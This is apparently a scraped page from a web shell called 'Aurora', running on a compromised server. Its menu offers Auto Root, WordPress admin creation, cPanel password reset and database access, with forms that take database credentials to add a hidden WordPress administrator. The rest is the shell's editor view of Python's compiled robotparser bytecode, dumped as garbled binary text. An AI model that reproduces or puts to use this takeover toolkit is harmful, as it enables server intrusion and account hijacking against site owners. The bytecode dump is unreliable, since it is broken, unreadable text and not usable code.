Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib64
python3.9
urllib
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: robotparser.cpython-39.opt-1.pyc
a �i�$ � @ s\ d Z ddlZddlZddlZdgZe�dd�ZG dd� d�ZG dd� d�Z G d d � d �Z dS ) a% robotparser.py Copyright (C) 2000 Bastian Kleineidam You can choose between two licenses when using this package: 1) GNU GPLv2 2) PSF license for Python 2.2 The robots.txt Exclusion Protocol is implemented as specified in http://www.robotstxt.org/norobots-rfc.txt � N�RobotFileParser� RequestRatezrequests secondsc @ sr e Zd ZdZd dd�Zdd� Zdd� Zd d � Zd d � Zd d� Z dd� Z dd� Z dd� Z dd� Z dd� Zdd� ZdS ) r zs This class provides a set of methods to read, parse and answer questions about a single robots.txt file. � c C s2 g | _ g | _d | _d| _d| _| �|� d| _d S )NFr )�entries�sitemaps� default_entry� disallow_all� allow_all�set_url� last_checked��self�url� r �*/usr/lib64/python3.9/urllib/robotparser.py�__init__ s zRobotFileParser.__init__c C s | j S )z�Returns the time the robots.txt file was last fetched. This is useful for long-running web spiders that need to check for new robots.txt files periodically. )r �r r r r �mtime% s zRobotFileParser.mtimec C s ddl }|� � | _dS )zYSets the time the robots.txt file was last fetched to the current time. r N)�timer )r r r r r �modified. s zRobotFileParser.modifiedc C s& || _ tj�|�dd� \| _| _dS )z,Sets the URL referring to a robots.txt file.� � N)r �urllib�parse�urlparse�host�pathr r r r r 6 s zRobotFileParser.set_urlc C s� zt j�| j�}W nT t jjyf } z8|jdv r8d| _n|jdkrR|jdk rRd| _W Y d}~n&d}~0 0 |� � }| � |� d�� � � dS )z4Reads the robots.txt URL and feeds it to the parser.)i� i� Ti� i� Nzutf-8) r Zrequest�urlopenr �error� HTTPError�coder r �readr �decode� splitlines)r �f�err�rawr r r r! ; s zRobotFileParser.readc C s, d|j v r | jd u r(|| _n | j�|� d S �N�*)� useragentsr r �append)r �entryr r r � _add_entryH s zRobotFileParser._add_entryc C sP d}t � }| �� |D �] }|sP|dkr4t � }d}n |dkrP| �|� t � }d}|�d�}|dkrn|d|� }|�� }|s|q|�dd�}t|�dkr|d �� �� |d< tj � |d �� �|d< |d dkr�|dkr�| �|� t � }|j � |d � d}q|d dk�r.|dk�r6|j � t|d d �� d}q|d d k�rb|dk�r6|j � t|d d �� d}q|d d k�r�|dk�r6|d �� �� �r�t|d �|_d}q|d d k�r|dk�r6|d �d�}t|�dk�r|d �� �� �r|d �� �� �rtt|d �t|d ��|_d}q|d dkr| j� |d � q|dk�rL| �|� dS )z�Parse the input lines from a robots.txt file. We allow that a user-agent: line is not preceded by one or more blank lines. r r � �#N�:z user-agentZdisallowFZallowTz crawl-delayz request-rate�/Zsitemap)�Entryr r, �find�strip�split�len�lowerr r �unquoter) r* � rulelines�RuleLine�isdigit�int�delayr �req_rater )r �lines�stater+ �line�iZnumbersr r r r Q sj � zRobotFileParser.parsec C s� | j r dS | jrdS | js dS tj�tj�|��}tj�dd|j|j |j |j f�}tj� |�}|sfd}| j D ] }|�|�rl|�|� S ql| jr�| j�|�S dS )z=using the parsed robots.txt decide if useragent can fetch urlFTr r0 )r r r r r r r7 � urlunparser �params�query�fragment�quoter � applies_to� allowancer )r � useragentr Z parsed_urlr+ r r r � can_fetch� s& � zRobotFileParser.can_fetchc C s> | � � s d S | jD ]}|�|�r|j S q| jr:| jjS d S �N)r r rG r< r �r rI r+ r r r � crawl_delay� s zRobotFileParser.crawl_delayc C s> | � � s d S | jD ]}|�|�r|j S q| jr:| jjS d S rK )r r rG r= r rL r r r � request_rate� s z RobotFileParser.request_ratec C s | j s d S | j S rK )r r r r r � site_maps� s zRobotFileParser.site_mapsc C s, | j }| jd ur || jg }d�tt|��S )Nz )r r �join�map�str)r r r r r �__str__� s zRobotFileParser.__str__N)r )�__name__� __module__� __qualname__�__doc__r r r r r! r, r rJ rM rN rO rS r r r r r s I c @ s( e Zd ZdZdd� Zdd� Zdd� ZdS ) r9 zoA rule line is a single "Allow:" (allowance==True) or "Disallow:" (allowance==False) followed by a path.c C s< |dkr|sd}t j�t j�|��}t j�|�| _|| _d S )Nr T)r r rB r rF r rH )r r rH r r r r � s zRuleLine.__init__c C s | j dkp|�| j �S r' )r � startswith)r �filenamer r r rG � s zRuleLine.applies_toc C s | j r dndd | j S )NZAllowZDisallowz: )rH r r r r r rS � s zRuleLine.__str__N)rT rU rV rW r rG rS r r r r r9 � s r9 c @ s0 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd S ) r1 z?An entry has one or more user-agents and zero or more rulelinesc C s g | _ g | _d | _d | _d S rK )r) r8 r< r= r r r r r � s zEntry.__init__c C s� g }| j D ]}|�d|� �� q | jd ur<|�d| j� �� | jd urf| j}|�d|j� d|j� �� |�tt| j �� d� |�S )Nz User-agent: z Crawl-delay: zRequest-rate: r0 � ) r) r* r< r= ZrequestsZseconds�extendrQ rR r8 rP )r �ret�agentZrater r r rS � s z Entry.__str__c C sF |� d�d �� }| jD ](}|dkr* dS |�� }||v r dS qdS )z2check if this entry applies to the specified agentr0 r r( TF)r4 r6 r) )r rI r] r r r rG � s zEntry.applies_toc C s$ | j D ]}|�|�r|j S qdS )zZPreconditions: - our agent applies to this entry - filename is URL decodedT)r8 rG rH )r rY r@ r r r rH s zEntry.allowanceN)rT rU rV rW r rS rG rH r r r r r1 � s r1 ) rW � collections� urllib.parser Zurllib.request�__all__� namedtupler r r9 r1 r r r r �<module> s B